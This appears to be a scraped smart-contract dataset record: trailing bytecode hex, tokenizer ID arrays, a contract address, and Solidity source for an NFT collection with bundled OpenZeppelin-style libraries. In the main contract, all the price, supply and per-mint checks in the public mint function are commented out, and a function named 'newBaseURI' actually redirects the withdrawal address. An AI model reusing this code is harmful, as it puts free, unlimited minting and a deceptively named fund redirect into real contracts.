4c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828211156108c357fe5b50900390565b818101828110156108d657fe5b92915050565b600160a060020a03821660009081526020819052604090205481111561090157600080fd5b600160a060020a03821660009081526020819052604090205461092a908263ffffffff6108b716565b600160a060020a038316600090815260208190526040902055600154610956908263ffffffff6108b716565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350505600a165627a7a723058207dfe6315e87a7256989fd93791f7953b2c2b01ecf313a948f682955141ebdea60029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2620, 2581, 2497, 16048, 2509, 4783, 18827, 22610, 2475, 3401, 2581, 11329, 26187, 21472, 21926, 11387, 2094, 2581, 16409, 21486, 2620, 16147, 2509, 2278, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 2112, 1997, 4830, 17175, 7712, 4132, 1006, 4830, 17175, 7712, 1012, 22834, 1007, 1008, 1013, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 22083, 2594, 1008, 1030, 16475, 16325, 2544, 1997, 9413, 2278, 11387, 8278, 1008, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 20311, 1008, 1013, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,871
0x9787e5ca192ae9BE424F2C25527f5A8e898B3Ca0
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./ERC721.sol"; import "./ERC721Enumerable.sol"; import "./ERC721Burnable.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; import "./Counters.sol"; contract Final222BlackFacesContract is ERC721Enumerable, Ownable, ERC721Burnable { using SafeMath for uint256; using Counters for Counters.Counter; using Strings for uint256; Counters.Counter private _tokenIdTracker; uint256 public MAX_ELEMENTS = 222; uint256 public PRICE = 1 ether; uint256 public constant MAX_BY_MINT = 20; string public baseTokenURI; address public creatorAddress = 0x61c3C413460824915dF5Ca8425a4C844C8F691BE; event NewPriceEvent(uint256 price); event JoinFace(uint256 indexed id); event NewBaseURI(address base_uri); constructor(string memory baseURI) ERC721("Final222BlackFaces", "F2BF") { setBaseURI(baseURI); } // modifier saleIsOpen { // require(_totalSupply() <= MAX_ELEMENTS, "Sale end"); // if (_msgSender() != owner()) { // // require(!_pause, "Pausable: paused"); // } // _; // } function _totalSupply() internal view returns (uint) { return _tokenIdTracker.current(); } // function totalMint() public view returns (uint256) { // return _totalSupply(); // } function mint(address _to, uint256 _count) public payable { // uint256 total = _totalSupply(); // require(total + _count <= MAX_ELEMENTS, "Max limit"); // require(total <= MAX_ELEMENTS, "Sale end"); // // require(_count <= MAX_BY_MINT, "Exceeds number"); // require(msg.value >= price(_count), "Value below price"); for (uint256 i = 0; i < _count; i++) { _mintAnElement(_to); } } function _mintAnElement(address _to) private { uint id = _totalSupply(); _tokenIdTracker.increment(); _safeMint(_to, id + 1); emit JoinFace(id + 1); } // function price(uint256 _count) public view returns (uint256) { // return PRICE.mul(_count); // } // function _baseURI() internal view virtual override returns (string memory) { // return baseTokenURI; // } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } // function walletOfOwner(address _owner) external view returns (uint256[] memory) { // uint256 tokenCount = balanceOf(_owner); // uint256[] memory tokensId = new uint256[](tokenCount); // for (uint256 i = 0; i < tokenCount; i++) { // tokensId[i] = tokenOfOwnerByIndex(_owner, i); // } // return tokensId; // } function newBaseURI(address base_uri) public onlyOwner { creatorAddress = base_uri; emit NewBaseURI(creatorAddress); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function withdrawAll() public payable onlyOwner { uint256 balance = address(this).balance; require(balance > 0); _widthdraw(creatorAddress, address(this).balance); } function _widthdraw(address _address, uint256 _amount) private { (bool success, ) = _address.call{value: _amount}(""); require(success, "Transfer failed."); } function setPrice(uint256 _price) public onlyOwner{ PRICE = _price; emit NewPriceEvent(PRICE); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./IERC721Metadata.sol"; import "./Address.sol"; import "./Context.sol"; import "./Strings.sol"; import "./ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(),".json")) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC721.sol"; import "./Context.sol"; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT 